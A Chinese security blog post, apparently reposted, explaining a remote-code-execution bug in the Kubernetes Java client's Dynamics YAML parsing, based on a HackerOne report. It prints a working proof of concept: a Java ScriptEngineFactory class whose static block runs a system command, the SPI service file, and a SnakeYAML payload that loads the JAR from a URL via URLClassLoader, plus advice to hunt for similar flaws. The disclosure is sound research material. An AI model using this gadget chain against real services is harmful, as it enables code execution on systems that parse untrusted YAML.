由一个反序列化问题所想到的通用思路

admin 2026-05-01 05:57:19 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档披露了使用KubernetesDynamics库反序列化不受信任YAML时存在的远程代码执行漏洞。攻击者可通过构造恶意YAML载荷触发ScriptEngineManager从远程URL加载恶意JAR,利用静态代码块执行系统命令。关键发现是该漏洞利用SPI机制实现RCE,作者建议在YAML等配置文件场景中寻找类似反序列化问题作为通用攻击思路。 综合评分: 85 文章分类: 漏洞分析,安全开发,应用安全,红队,代码审计


cover_image

由一个反序列化问题所想到的通用思路

原创

h1 h1

迪哥讲事

2026年4月30日 10:00 四川

在小说阅读器读本章

去阅读

由一个反序列化问题所想到的思路

正文

如果使用 io.kubernetes.client.util.generic.dynamic.Dynamics 来把不受信任的 YAML 反序列化成 DynamicKubernetesObject,攻击者就可以在 JVM 内实现代码执行。

复现步骤: 搭一个服务器,提供一个包含如下代码的 JAR 文件:

package org.jlleitschuh.sandbox;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class ScriptEngineFactoryRCE implements ScriptEngineFactory {
    static {
        try {
            Runtime r = Runtime.getRuntime();
            Process p = r.exec("open -a Calculator");
            p.waitFor();
        } catch (IOException | InterruptedException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
&nbsp; &nbsp; public List<String>&nbsp;getExtensions() {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp; @Override
&nbsp; &nbsp; public List<String>&nbsp;getMimeTypes() {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp; @Override
&nbsp; &nbsp; public List<String>&nbsp;getNames() {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp; @Override
&nbsp; &nbsp; public String&nbsp;getLanguageName() {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp; @Override
&nbsp; &nbsp; public String&nbsp;getLanguageVersion() {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp; @Override
&nbsp; &nbsp; public Object getParameter(String key) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp; @Override
&nbsp; &nbsp; public String getMethodCallSyntax(String obj, String m, String... args) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp; @Override
&nbsp; &nbsp; public String getOutputStatement(String toDisplay) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp; @Override
&nbsp; &nbsp; public String getProgram(String... statements) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }

&nbsp; &nbsp; @Override
&nbsp; &nbsp; public ScriptEngine&nbsp;getScriptEngine() {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;
&nbsp; &nbsp; }
}

这个 JAR 文件中还必须包含一个文件:

/META-INF/services/javax.script.ScriptEngineFactory

其内容为:

org.jlleitschuh.sandbox.ScriptEngineFactoryRCE # 我们的 RCE 载荷 把这个 JAR 放在本地服务器根路径对外提供。

然后调用 Dynamics 的 YAML 解析 API,并传入如下 payload:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://localhost:8080/”]]]] payload本质上是在告诉 YAML 解析器:

1.构造一个 URL

指向 http://localhost:8080/

2.用这个 URL 构造一个 URLClassLoader

也就是让 JVM 可以从这个远程地址加载类

3.再把这个 URLClassLoader 作为参数传给 ScriptEngineManager

ScriptEngineManager 在初始化时会通过 Java SPI 机制扫描 META-INF/services/javax.script.ScriptEngineFactory

4.一旦扫描到你远程 JAR 里的 ScriptEngineFactoryRCE

JVM 会加载这个类

类加载时静态代码块 static { ... }就会执行

虽然这是一个YAML 反序列化所导致的问题,但是蛮值得思考

像类似于yaml这类配置文件或者说是部署的业务场景很有可能会导致代码执行的问题,可以尽可能地去寻找这类业务场景去尝试,这是一个通用思路

假期来了,发个100元优惠券

参考

https://hackerone.com/reports/1807214


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:迪哥讲事 h1 h1《由一个反序列化问题所想到的通用思路》

评论:0   参与:  0